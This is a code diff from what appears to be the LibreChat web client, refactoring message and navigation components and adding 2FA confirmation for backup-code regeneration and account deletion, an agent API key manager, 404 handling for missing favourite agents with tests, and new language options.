); }, diff --git a/client/src/components/Messages/ContentRender.tsx b/client/src/components/Messages/ContentRender.tsx index 5724ff77c2..4114baefe4 100644 --- a/client/src/components/Messages/ContentRender.tsx +++ b/client/src/components/Messages/ContentRender.tsx @@ -22,176 +22,175 @@ type ContentRenderProps = { 'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount' >; -const ContentRender = memo( - ({ +const ContentRender = memo(function ContentRender({ + message: msg, + siblingIdx, + siblingCount, + setSiblingIdx, + currentEditId, + setCurrentEditId, + isSubmitting = false, +}: ContentRenderProps) { + const localize = useLocalize(); + const { attachments, searchResults } = useAttachments({ + messageId: msg?.messageId, + attachments: msg?.attachments, + }); + const { + edit, + index, + agent, + assistant, + enterEdit, + conversation, + messageLabel, + handleContinue, + handleFeedback, + latestMessageId, + copyToClipboard, + regenerateMessage, + latestMessageDepth, + } = useMessageActions({ message: msg, - siblingIdx, - siblingCount, - setSiblingIdx, + searchResults, currentEditId, setCurrentEditId, - isSubmitting = false, - }: ContentRenderProps) => { - const localize = useLocalize(); - const { attachments, searchResults } = useAttachments({ - messageId: msg?.messageId, - attachments: msg?.attachments, - }); - const { - edit, - index, - agent, - assistant, - enterEdit, - conversation, + }); + const fontSize = useAtomValue(fontSizeAtom); + const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace); + + const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]); + const isLast = useMemo( + () => !(msg?.children?.length ?? 0) && (msg?.depth === latestMessageDepth || msg?.depth === -1), + [msg?.children, msg?.depth, latestMessageDepth], + ); + const hasNoChildren = !(msg?.children?.length ?? 0); + const isLatestMessage = msg?.messageId === latestMessageId; + /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */ + const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false; + + const iconData: TMessageIcon = useMemo( + () => ({ + endpoint: msg?.endpoint ?? conversation?.endpoint, + model: msg?.model ?? conversation?.model, + iconURL: msg?.iconURL, + modelLabel: messageLabel, + isCreatedByUser: msg?.isCreatedByUser, + }), + [ messageLabel, - latestMessage, - handleContinue, - handleFeedback, - copyToClipboard, - regenerateMessage, - } = useMessageActions({ - message: msg, - searchResults, - currentEditId, - setCurrentEditId, - }); - const fontSize = useAtomValue(fontSizeAtom); - const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace); + conversation?.endpoint, + conversation?.model, + msg?.model, + msg?.iconURL, + msg?.endpoint, + msg?.isCreatedByUser, + ], + ); - const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]); - const isLast = useMemo( - () => - !(msg?.children?.length ?? 0) && (msg?.depth === latestMessage?.depth || msg?.depth === -1), - [msg?.children, msg?.depth, latestMessage?.depth], - ); - const hasNoChildren = !(msg?.children?.length ?? 0); - const isLatestMessage = msg?.messageId === latestMessage?.messageId; - /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */ - const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false; + const { hasParallelContent } = useContentMetadata(msg); - const iconData: TMessageIcon = useMemo( - () => ({ - endpoint: msg?.endpoint ?? conversation?.endpoint, - model: msg?.model ?? conversation?.model, - iconURL: msg?.iconURL, - modelLabel: messageLabel, - isCreatedByUser: msg?.isCreatedByUser, - }), - [ - messageLabel, - conversation?.endpoint, - conversation?.model, - msg?.model, - msg?.iconURL, - msg?.endpoint, - msg?.isCreatedByUser, - ], - ); + if (!msg) { + return null; + } - const { hasParallelContent } = useContentMetadata(msg); - - if (!msg) { - return null; + const getChatWidthClass = () => { + if (maximizeChatSpace) { + return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5'; } + if (hasParallelContent) { + return 'md:max-w-[58rem] xl:max-w-[70rem]'; + } + return 'md:max-w-[47rem] xl:max-w-[55rem]'; + }; - const getChatWidthClass = () => { - if (maximizeChatSpace) { - return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5'; - } - if (hasParallelContent) { - return 'md:max-w-[58rem] xl:max-w-[70rem]'; - } - return 'md:max-w-[47rem] xl:max-w-[55rem]'; - }; + const baseClasses = { + common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ', + chat: getChatWidthClass(), + }; - const baseClasses = { - common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ', - chat: getChatWidthClass(), - }; + const conditionalClasses = { + focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy', + }; - const conditionalClasses = { - focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy', - }; + return ( +
+ {!hasParallelContent && ( +
+
+ +
+
+ )} - return (
{!hasParallelContent && ( -
-
- -
-
+

{messageLabel}

)} -
- {!hasParallelContent && ( -

{messageLabel}

- )} - -
-
- } - /> -
- {hasNoChildren && effectiveIsSubmitting ? ( - - ) : ( - - - - - )} +
+
+ } + />
+ {hasNoChildren && effectiveIsSubmitting ? ( + + ) : ( + + + + + )}
- ); - }, -); +
+ ); +}); +ContentRender.displayName = 'ContentRender'; export default ContentRender; diff --git a/client/src/components/Messages/MessageContent.tsx b/client/src/components/Messages/MessageContent.tsx index 68fe2d8629..0e53b1c840 100644 --- a/client/src/components/Messages/MessageContent.tsx +++ b/client/src/components/Messages/MessageContent.tsx @@ -5,25 +5,23 @@ import type { TMessageProps } from '~/common'; import MultiMessage from '~/components/Chat/Messages/MultiMessage'; import ContentRender from './ContentRender'; -const MessageContainer = React.memo( - ({ - handleScroll, - children, - }: { - handleScroll: (event?: unknown) => void; - children: React.ReactNode; - }) => { - return ( -
- {children} -
- ); - }, -); +const MessageContainer = React.memo(function MessageContainer({ + handleScroll, + children, +}: { + handleScroll: (event?: unknown) => void; + children: React.ReactNode; +}) { + return ( +
+ {children} +
+ ); +}); export default function MessageContent(props: TMessageProps) { const { conversation, handleScroll, isSubmitting } = useMessageProcess({ diff --git a/client/src/components/Nav/AccountSettings.tsx b/client/src/components/Nav/AccountSettings.tsx index e3f97160eb..cf80f89ca2 100644 --- a/client/src/components/Nav/AccountSettings.tsx +++ b/client/src/components/Nav/AccountSettings.tsx @@ -1,5 +1,5 @@ import { useState, memo, useRef } from 'react'; -import * as Select from '@ariakit/react/select'; +import * as Menu from '@ariakit/react/menu'; import { FileText, LogOut } from 'lucide-react'; import { LinkIcon, GearIcon, DropdownMenuSeparator, Avatar } from '@librechat/client'; import { MyFilesModal } from '~/components/Chat/Input/Files/MyFilesModal'; @@ -20,8 +20,8 @@ function AccountSettings() { const accountSettingsButtonRef = useRef(null); return ( - - + {user?.name ?? user?.username ?? localize('com_nav_user')}
- - + )} - setShowFiles(true)} - className="select-item text-sm" - > + setShowFiles(true)} className="select-item text-sm"> + {startupConfig?.helpAndFaqURL !== '/' && ( - window.open(startupConfig?.helpAndFaqURL, '_blank')} className="select-item text-sm" > + )} - setShowSettings(true)} - className="select-item text-sm" - > + setShowSettings(true)} className="select-item text-sm"> + - logout()} - value="logout" - className="select-item text-sm" - > + logout()} className="select-item text-sm"> - + + {showFiles && ( )} {showSettings && } - + ); } diff --git a/client/src/components/Nav/Favorites/FavoritesList.tsx b/client/src/components/Nav/Favorites/FavoritesList.tsx index b142b0cfc3..82225733fd 100644 --- a/client/src/components/Nav/Favorites/FavoritesList.tsx +++ b/client/src/components/Nav/Favorites/FavoritesList.tsx @@ -1,13 +1,20 @@ import React, { useRef, useCallback, useMemo, useEffect } from 'react'; -import { useRecoilValue } from 'recoil'; import { LayoutGrid } from 'lucide-react'; import { useDrag, useDrop } from 'react-dnd'; import { Skeleton } from '@librechat/client'; import { useNavigate } from 'react-router-dom'; import { useQueries } from '@tanstack/react-query'; +import { useRecoilValue } from 'recoil'; import { QueryKeys, dataService } from 'librechat-data-provider'; import type t from 'librechat-data-provider'; -import { useFavorites, useLocalize, useShowMarketplace, useNewConvo } from '~/hooks'; +import type { AgentQueryResult } from '~/common'; +import { + useGetConversation, + useShowMarketplace, + useFavorites, + useLocalize, + useNewConvo, +} from '~/hooks'; import { useAssistantsMapContext, useAgentsMapContext } from '~/Providers'; import useSelectMention from '~/hooks/Input/useSelectMention'; import { useGetEndpointsQuery } from '~/data-provider'; @@ -121,20 +128,20 @@ export default function FavoritesList({ const navigate = useNavigate(); const localize = useLocalize(); const search = useRecoilValue(store.search); + const getConversation = useGetConversation(0); const { favorites, reorderFavorites, isLoading: isFavoritesLoading } = useFavorites(); const showAgentMarketplace = useShowMarketplace(); const { newConversation } = useNewConvo(); const assistantsMap = useAssistantsMapContext(); const agentsMap = useAgentsMapContext(); - const conversation = useRecoilValue(store.conversationByIndex(0)); const { data: endpointsConfig = {} as t.TEndpointsConfig } = useGetEndpointsQuery(); const { onSelectEndpoint } = useSelectMention({ modelSpecs: [], - conversation, assistantsMap, endpointsConfig, + getConversation, newConversation, returnHandlers: true, }); @@ -184,7 +191,20 @@ export default function FavoritesList({ const missingAgentQueries = useQueries({ queries: missingAgentIds.map((agentId) => ({ queryKey: [QueryKeys.agent, agentId], - queryFn: () => dataService.getAgentById({ agent_id: agentId }), + queryFn: async (): Promise => { + try { + const agent = await dataService.getAgentById({ agent_id: agentId }); + return { found: true, agent }; + } catch (error) { + if (error && typeof error === 'object' && 'response' in error) { + const axiosError = error as { response?: { status?: number } }; + if (axiosError.response?.status === 404) { + return { found: false }; + } + } + throw error; + } + }, staleTime: 1000 * 60 * 5, enabled: missingAgentIds.length > 0, })), @@ -201,8 +221,8 @@ export default function FavoritesList({ } } missingAgentQueries.forEach((query) => { - if (query.data) { - combined[query.data.id] = query.data; + if (query.data?.found) { + combined[query.data.agent.id] = query.data.agent; } }); return combined; diff --git a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx new file mode 100644 index 0000000000..ed71221de3 --- /dev/null +++ b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx @@ -0,0 +1,192 @@ +import React from 'react'; +import { render, waitFor } from '@testing-library/react'; +import '@testing-library/jest-dom'; +import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; +import { RecoilRoot } from 'recoil'; +import { DndProvider } from 'react-dnd'; +import { HTML5Backend } from 'react-dnd-html5-backend'; +import { BrowserRouter } from 'react-router-dom'; +import { dataService } from 'librechat-data-provider'; +import type t from 'librechat-data-provider'; + +// Mock store before importing FavoritesList +jest.mock('~/store', () => { + const { atom } = jest.requireActual('recoil'); + return { + __esModule: true, + default: { + search: atom({ + key: 'mock-search-atom', + default: { query: '' }, + }), + conversationByIndex: (index: number) => + atom({ + key: `mock-conversation-atom-${index}`, + default: null, + }), + }, + }; +}); +import FavoritesList from '../FavoritesList'; + +type FavoriteItem = { + agentId?: string; + model?: string; + endpoint?: string; +}; + +// Mock dataService +jest.mock('librechat-data-provider', () => ({ + ...jest.requireActual('librechat-data-provider'), + dataService: { + getAgentById: jest.fn(), + }, +})); + +// Mock hooks +const mockFavorites: FavoriteItem[] = []; +const mockUseFavorites = jest.fn(() => ({ + favorites: mockFavorites, + reorderFavorites: jest.fn(), + isLoading: false, +})); + +jest.mock('~/hooks', () => ({ + useFavorites: () => mockUseFavorites(), + useLocalize: () => (key: string) => key, + useShowMarketplace: () => false, + useNewConvo: () => ({ newConversation: jest.fn() }), + useGetConversation: () => () => null, +})); + +jest.mock('~/Providers', () => ({ + useAssistantsMapContext: () => ({}), + useAgentsMapContext: () => ({}), +})); + +jest.mock('~/hooks/Input/useSelectMention', () => () => ({ + onSelectEndpoint: jest.fn(), +})); + +jest.mock('~/data-provider', () => ({ + useGetEndpointsQuery: () => ({ data: {} }), +})); + +jest.mock('../FavoriteItem', () => ({ + __esModule: true, + default: ({ item, type }: { item: any; type: string }) => ( +
+ {type === 'agent' ? item.name : item.model} +
+ ), +})); + +const createTestQueryClient = () => + new QueryClient({ + defaultOptions: { + queries: { + retry: false, + }, + }, + }); + +const renderWithProviders = (ui: React.ReactElement) => { + const queryClient = createTestQueryClient(); + return render( + + + + {ui} + + + , + ); +}; + +describe('FavoritesList', () => { + beforeEach(() => { + jest.clearAllMocks(); + mockFavorites.length = 0; + }); + + describe('rendering', () => { + it('should render nothing when favorites is empty and marketplace is hidden', () => { + const { container } = renderWithProviders(); + expect(container.firstChild).toBeNull(); + }); + + it('should render skeleton while loading', () => { + mockUseFavorites.mockReturnValueOnce({ + favorites: [], + reorderFavorites: jest.fn(), + isLoading: true, + }); + + const { container } = renderWithProviders(); + // Skeletons should be present during loading - container should have children + expect(container.firstChild).not.toBeNull(); + // When loading, the component renders skeleton placeholders (check for content, not specific CSS) + expect(container.innerHTML).toContain('div'); + }); + }); + + describe('missing agent handling', () => { + it('should exclude missing agents (404) from rendered favorites and render valid agents', async () => { + const validAgent: t.Agent = { + id: 'valid-agent', + name: 'Valid Agent', + author: 'test-author', + } as t.Agent; + + // Set up favorites with both valid and missing agent + mockFavorites.push({ agentId: 'valid-agent' }, { agentId: 'deleted-agent' }); + + // Mock getAgentById: valid-agent returns successfully, deleted-agent returns 404 + (dataService.getAgentById as jest.Mock).mockImplementation( + ({ agent_id }: { agent_id: string }) => { + if (agent_id === 'valid-agent') { + return Promise.resolve(validAgent); + } + if (agent_id === 'deleted-agent') { + return Promise.reject({ response: { status: 404 } }); + } + return Promise.reject(new Error('Unknown agent')); + }, + ); + + const { findAllByTestId } = renderWithProviders(); + + // Wait for queries to resolve + const favoriteItems = await findAllByTestId('favorite-item'); + + // Only the valid agent should be rendered + expect(favoriteItems).toHaveLength(1); + expect(favoriteItems[0]).toHaveTextContent('Valid Agent'); + + // The deleted agent should still be requested, but not rendered + expect(dataService.getAgentById as jest.Mock).toHaveBeenCalledWith({ + agent_id: 'deleted-agent', + }); + }); + + it('should not show infinite loading skeleton when agents return 404', async () => { + // Set up favorites with only a deleted agent + mockFavorites.push({ agentId: 'deleted-agent' }); + + // Mock getAgentById to return 404 + (dataService.getAgentById as jest.Mock).mockRejectedValue({ response: { status: 404 } }); + + const { queryAllByTestId } = renderWithProviders(); + + // Wait for the loading state to resolve after 404 handling by ensuring the agent request was made + await waitFor(() => { + expect(dataService.getAgentById as jest.Mock).toHaveBeenCalledWith({ + agent_id: 'deleted-agent', + }); + }); + + // No favorite items should be rendered (deleted agent is filtered out) + expect(queryAllByTestId('favorite-item')).toHaveLength(0); + }); + }); +}); diff --git a/client/src/components/Nav/Nav.tsx b/client/src/components/Nav/Nav.tsx index 74883b94f4..cdee938663 100644 --- a/client/src/components/Nav/Nav.tsx +++ b/client/src/components/Nav/Nav.tsx @@ -225,6 +225,7 @@ const Nav = memo( aria-label={localize('com_ui_chat_history')} className="flex h-full flex-col px-2 pb-3.5" aria-hidden={!navVisible} + {...{ inert: !navVisible ? '' : undefined }} >
= useCallback( + const clickHandler: React.MouseEventHandler = useCallback( (e) => { - if (e.button === 0 && (e.ctrlKey || e.metaKey)) { - window.open('/c/new', '_blank'); + // Let browser handle modified/non-left clicks (new tab, context menu, etc.) + if (e.button !== 0 || e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) { return; } + + e.preventDefault(); clearMessagesCache(queryClient, conversation?.conversationId); queryClient.invalidateQueries([QueryKeys.messages]); newConvo(); - navigate('/c/new', { state: { focusChat: true } }); if (isSmallScreen) { toggleNav(); } }, - [queryClient, conversation, newConvo, navigate, toggleNav, isSmallScreen], + [queryClient, conversation, newConvo, toggleNav, isSmallScreen], ); return ( @@ -84,14 +84,16 @@ export default function NewChat({ description={localize('com_ui_new_chat')} render={ } /> diff --git a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx index c89ce61fff..e66cb7b08a 100644 --- a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx +++ b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx @@ -1,12 +1,23 @@ import React, { useState } from 'react'; import { RefreshCcw } from 'lucide-react'; +import { useSetRecoilState } from 'recoil'; import { motion, AnimatePresence } from 'framer-motion'; -import { TBackupCode, TRegenerateBackupCodesResponse, type TUser } from 'librechat-data-provider'; +import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp'; +import type { + TRegenerateBackupCodesResponse, + TRegenerateBackupCodesRequest, + TBackupCode, + TUser, +} from 'librechat-data-provider'; import { - OGDialog, + InputOTPSeparator, + InputOTPGroup, + InputOTPSlot, OGDialogContent, OGDialogTitle, OGDialogTrigger, + OGDialog, + InputOTP, Button, Label, Spinner, @@ -15,7 +26,6 @@ import { } from '@librechat/client'; import { useRegenerateBackupCodesMutation } from '~/data-provider'; import { useAuthContext, useLocalize } from '~/hooks'; -import { useSetRecoilState } from 'recoil'; import store from '~/store'; const BackupCodesItem: React.FC = () => { @@ -24,25 +34,30 @@ const BackupCodesItem: React.FC = () => { const { showToast } = useToastContext(); const setUser = useSetRecoilState(store.user); const [isDialogOpen, setDialogOpen] = useState(false); + const [otpToken, setOtpToken] = useState(''); + const [useBackup, setUseBackup] = useState(false); const { mutate: regenerateBackupCodes, isLoading } = useRegenerateBackupCodesMutation(); + const needs2FA = !!user?.twoFactorEnabled; + const fetchBackupCodes = (auto: boolean = false) => { - regenerateBackupCodes(undefined, { + let payload: TRegenerateBackupCodesRequest | undefined; + if (needs2FA && otpToken.trim()) { + payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() }; + } + + regenerateBackupCodes(payload, { onSuccess: (data: TRegenerateBackupCodesResponse) => { - const newBackupCodes: TBackupCode[] = data.backupCodesHash.map((codeHash) => ({ - codeHash, - used: false, - usedAt: null, - })); + const newBackupCodes: TBackupCode[] = data.backupCodesHash; setUser((prev) => ({ ...prev, backupCodes: newBackupCodes }) as TUser); + setOtpToken(''); showToast({ message: localize('com_ui_backup_codes_regenerated'), status: 'success', }); - // Trigger file download only when user explicitly clicks the button. if (!auto && newBackupCodes.length) { const codesString = data.backupCodes.join('\n'); const blob = new Blob([codesString], { type: 'text/plain;charset=utf-8' }); @@ -66,6 +81,8 @@ const BackupCodesItem: React.FC = () => { fetchBackupCodes(false); }; + const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6); + return (
@@ -161,10 +178,10 @@ const BackupCodesItem: React.FC = () => { ); })}
-
+
)} + {needs2FA && ( +
+ +
+ + {useBackup ? ( + + + + + + + + + + + ) : ( + <> + + + + + + + + + + + + + )} + +
+ +
+ )} diff --git a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx index e879a0f2c6..d9c432c6a2 100644 --- a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx +++ b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx @@ -1,16 +1,22 @@ -import { LockIcon, Trash } from 'lucide-react'; import React, { useState, useCallback } from 'react'; +import { LockIcon, Trash } from 'lucide-react'; +import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp'; import { - Label, - Input, - Button, - Spinner, - OGDialog, + InputOTPSeparator, OGDialogContent, OGDialogTrigger, OGDialogHeader, + InputOTPGroup, OGDialogTitle, + InputOTPSlot, + OGDialog, + InputOTP, + Spinner, + Button, + Label, + Input, } from '@librechat/client'; +import type { TDeleteUserRequest } from 'librechat-data-provider'; import { useDeleteUserMutation } from '~/data-provider'; import { useAuthContext } from '~/hooks/AuthContext'; import { LocalizeFunction } from '~/common'; @@ -21,16 +27,27 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea const localize = useLocalize(); const { user, logout } = useAuthContext(); const { mutate: deleteUser, isLoading: isDeleting } = useDeleteUserMutation({ - onMutate: () => logout(), + onSuccess: () => logout(), }); const [isDialogOpen, setDialogOpen] = useState(false); const [isLocked, setIsLocked] = useState(true); + const [otpToken, setOtpToken] = useState(''); + const [useBackup, setUseBackup] = useState(false); + + const needs2FA = !!user?.twoFactorEnabled; const handleDeleteUser = () => { - if (!isLocked) { - deleteUser(undefined); + if (isLocked) { + return; } + + let payload: TDeleteUserRequest | undefined; + if (needs2FA && otpToken.trim()) { + payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() }; + } + + deleteUser(payload); }; const handleInputChange = useCallback( @@ -42,6 +59,8 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea [user?.email], ); + const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6); + return ( <> @@ -79,7 +98,60 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea (e) => handleInputChange(e.target.value), )}
- {renderDeleteButton(handleDeleteUser, isDeleting, isLocked, localize)} + {needs2FA && ( +
+ +
+ + {useBackup ? ( + + + + + + + + + + + ) : ( + <> + + + + + + + + + + + + + )} + +
+ +
+ )} + {renderDeleteButton(handleDeleteUser, isDeleting, isLocked || !otpReady, localize)}
diff --git a/client/src/components/Nav/SettingsTabs/Data/AgentApiKeys.tsx b/client/src/components/Nav/SettingsTabs/Data/AgentApiKeys.tsx new file mode 100644 index 0000000000..f75b93526a --- /dev/null +++ b/client/src/components/Nav/SettingsTabs/Data/AgentApiKeys.tsx @@ -0,0 +1,362 @@ +import React, { useState } from 'react'; +import { + useGetAgentApiKeysQuery, + useCreateAgentApiKeyMutation, + useDeleteAgentApiKeyMutation, +} from 'librechat-data-provider/react-query'; +import { Permissions, PermissionTypes } from 'librechat-data-provider'; +import { Plus, Trash2, Copy, CopyCheck, Key, Eye, EyeOff, ShieldEllipsis } from 'lucide-react'; +import { + Button, + Input, + Label, + Spinner, + OGDialog, + OGDialogClose, + OGDialogTitle, + OGDialogHeader, + OGDialogContent, + OGDialogTrigger, + useToastContext, +} from '@librechat/client'; +import type { PermissionConfig } from '~/components/ui'; +import { useUpdateRemoteAgentsPermissionsMutation } from '~/data-provider'; +import { useLocalize, useCopyToClipboard } from '~/hooks'; +import { AdminSettingsDialog } from '~/components/ui'; + +function CreateKeyDialog({ onKeyCreated }: { onKeyCreated?: () => void }) { + const localize = useLocalize(); + const { showToast } = useToastContext(); + const [open, setOpen] = useState(false); + const [name, setName] = useState(''); + const [newKey, setNewKey] = useState(null); + const [showKey, setShowKey] = useState(false); + const [isCopying, setIsCopying] = useState(false); + const createMutation = useCreateAgentApiKeyMutation(); + const copyKey = useCopyToClipboard({ text: newKey || '' }); + + const handleCreate = async () => { + if (!name.trim()) { + showToast({ message: localize('com_ui_api_key_name_required'), status: 'error' }); + return; + } + + try { + const result = await createMutation.mutateAsync({ name: name.trim() }); + setNewKey(result.key); + showToast({ message: localize('com_ui_api_key_created'), status: 'success' }); + onKeyCreated?.(); + } catch { + showToast({ message: localize('com_ui_api_key_create_error'), status: 'error' }); + } + }; + + const handleClose = () => { + setName(''); + setNewKey(null); + setShowKey(false); + setOpen(false); + }; + + const handleCopy = () => { + if (isCopying) { + return; + } + copyKey(setIsCopying); + showToast({ message: localize('com_ui_api_key_copied'), status: 'success' }); + }; + + return ( + + + + + + {localize('com_ui_create_api_key')} +
+ {!newKey ? ( + <> +
+ + setName(e.target.value)} + placeholder={localize('com_ui_api_key_name_placeholder')} + /> +
+
+ + + + +
+ + ) : ( + <> +
+

+ {localize('com_ui_api_key_warning')} +

+
+
+ +
+ + + +
+
+
+ +
+ + )} +
+
+
+ ); +} + +function KeyItem({ + id, + name, + keyPrefix, + createdAt, + lastUsedAt, +}: { + id: string; + name: string; + keyPrefix: string; + createdAt: string; + lastUsedAt?: string; +}) { + const localize = useLocalize(); + const { showToast } = useToastContext(); + const [confirmDelete, setConfirmDelete] = useState(false); + const deleteMutation = useDeleteAgentApiKeyMutation(); + + const handleDelete = async () => { + try { + await deleteMutation.mutateAsync(id); + showToast({ message: localize('com_ui_api_key_deleted'), status: 'success' }); + } catch { + showToast({ message: localize('com_ui_api_key_delete_error'), status: 'error' }); + } + setConfirmDelete(false); + }; + + const formatDate = (dateStr: string) => { + return new Date(dateStr).toLocaleDateString(undefined, { + year: 'numeric', + month: 'short', + day: 'numeric', + }); + }; + + return ( +
+
+ +
+
{name}
+
+ {keyPrefix}... + + + {localize('com_ui_created')} {formatDate(createdAt)} + + {lastUsedAt && ( + <> + + + {localize('com_ui_last_used')} {formatDate(lastUsedAt)} + + + )} +
+
+
+
+ {confirmDelete ? ( +
+ + +
+ ) : ( + + )} +
+
+ ); +} + +function ApiKeysContent({ isOpen }: { isOpen: boolean }) { + const localize = useLocalize(); + const { data, isLoading, error } = useGetAgentApiKeysQuery({ enabled: isOpen }); + + if (error) { + return
{localize('com_ui_api_keys_load_error')}
; + } + + return ( +
+
+ + +
+ +
+ {isLoading && ( +
+ +
+ )} + {!isLoading && + data?.keys && + data.keys.length > 0 && + data.keys.map((key) => ( + + ))} + {!isLoading && (!data?.keys || data.keys.length === 0) && ( +
+ +

{localize('com_ui_no_api_keys')}

+
+ )} +
+
+ ); +} + +const remoteAgentsPermissions: PermissionConfig[] = [ + { permission: Permissions.USE, labelKey: 'com_ui_remote_agents_allow_use' }, + { permission: Permissions.CREATE, labelKey: 'com_ui_remote_agents_allow_create' }, + { permission: Permissions.SHARE, labelKey: 'com_ui_remote_agents_allow_share' }, + { permission: Permissions.SHARE_PUBLIC, labelKey: 'com_ui_remote_agents_allow_share_public' }, +]; + +function RemoteAgentsAdminSettings() { + const localize = useLocalize(); + const { showToast } = useToastContext(); + + const mutation = useUpdateRemoteAgentsPermissionsMutation({ + onSuccess: () => { + showToast({ status: 'success', message: localize('com_ui_saved') }); + }, + onError: () => { + showToast({ status: 'error', message: localize('com_ui_error_save_admin_settings') }); + }, + }); + + const trigger = ( + + ); + + return ( + + ); +} + +export function AgentApiKeys() { + const localize = useLocalize(); + const [isOpen, setIsOpen] = useState(false); + + return ( +
+ + + + + + + + + + {localize('com_ui_agent_api_keys')} +

+ {localize('com_ui_agent_api_keys_description')} +

+
+ +
+
+
+ ); +} diff --git a/client/src/components/Nav/SettingsTabs/Data/Data.tsx b/client/src/components/Nav/SettingsTabs/Data/Data.tsx index 0bba5a152e..eb8cea98c2 100644 --- a/client/src/components/Nav/SettingsTabs/Data/Data.tsx +++ b/client/src/components/Nav/SettingsTabs/Data/Data.tsx @@ -1,15 +1,22 @@ import React, { useState, useRef } from 'react'; import { useOnClickOutside } from '@librechat/client'; +import { Permissions, PermissionTypes } from 'librechat-data-provider'; import ImportConversations from './ImportConversations'; -import { RevokeKeys } from './RevokeKeys'; +import { AgentApiKeys } from './AgentApiKeys'; import { DeleteCache } from './DeleteCache'; +import { RevokeKeys } from './RevokeKeys'; import { ClearChats } from './ClearChats'; import SharedLinks from './SharedLinks'; +import { useHasAccess } from '~/hooks'; function Data() { const dataTabRef = useRef(null); const [confirmClearConvos, setConfirmClearConvos] = useState(false); useOnClickOutside(dataTabRef, () => confirmClearConvos && setConfirmClearConvos(false), []); + const hasAccessToApiKeys = useHasAccess({ + permissionType: PermissionTypes.REMOTE_AGENTS, + permission: Permissions.USE, + }); return (
@@ -19,6 +26,11 @@ function Data() {
+ {hasAccessToApiKeys && ( +
+ +
+ )}
diff --git a/client/src/components/Nav/SettingsTabs/General/General.tsx b/client/src/components/Nav/SettingsTabs/General/General.tsx index 4a56dd6d25..1570b2a0d3 100644 --- a/client/src/components/Nav/SettingsTabs/General/General.tsx +++ b/client/src/components/Nav/SettingsTabs/General/General.tsx @@ -103,17 +103,21 @@ export const LangSelector = ({ { value: 'he-HE', label: localize('com_nav_lang_hebrew') }, { value: 'hu-HU', label: localize('com_nav_lang_hungarian') }, { value: 'hy-AM', label: localize('com_nav_lang_armenian') }, + { value: 'is', label: localize('com_nav_lang_icelandic') }, { value: 'it-IT', label: localize('com_nav_lang_italian') }, { value: 'nb', label: localize('com_nav_lang_norwegian_bokmal') }, + { value: 'nn', label: localize('com_nav_lang_norwegian_nynorsk') }, { value: 'pl-PL', label: localize('com_nav_lang_polish') }, { value: 'pt-BR', label: localize('com_nav_lang_brazilian_portuguese') }, { value: 'pt-PT', label: localize('com_nav_lang_portuguese') }, { value: 'ru-RU', label: localize('com_nav_lang_russian') }, + { value: 'sk', label: localize('com_nav_lang_slovak') }, { value: 'ja-JP', label: localize('com_nav_lang_japanese') }, { value: 'ka-GE', label: localize('com_nav_lang_georgian') }, { value: 'cs-CZ', label: localize('com_nav_lang_czech') }, { value: 'sv-SE', label: localize('com_nav_lang_swedish') }, { value: 'ko-KR', label: localize('com_nav_lang_korean') }, + { value: 'lt-LT', label: localize('com_nav_lang_lithuanian') }, { value: 'lv-LV', label: localize('com_nav_lang_latvian') }, { value: 'vi-VN', label: localize('com_nav_lang_vietnamese') }, { value: 'th-TH', label: localize('com_nav_lang_thai') }, diff --git a/client/src/components/Plugins/Store/PluginAuthForm.tsx b/client/src/components/Plugins/Store/PluginAuthForm.tsx index 5af1948c11..d304b2eab7 100644 --- a/client/src/components/Plugins/Store/PluginAuthForm.tsx +++ b/client/src/components/Plugins/Store/PluginAuthForm.tsx @@ -20,6 +20,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps const localize = useLocalize(); const authConfig = plugin?.authConfig ?? []; + const allFieldsOptional = authConfig.length > 0 && authConfig.every((c) => c.optional === true); return (
@@ -38,6 +39,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps > {authConfig.map((config: TPluginAuthConfig, i: number) => { const authField = config.authField.split('||')[0]; + const isOptional = config.optional === true; return (
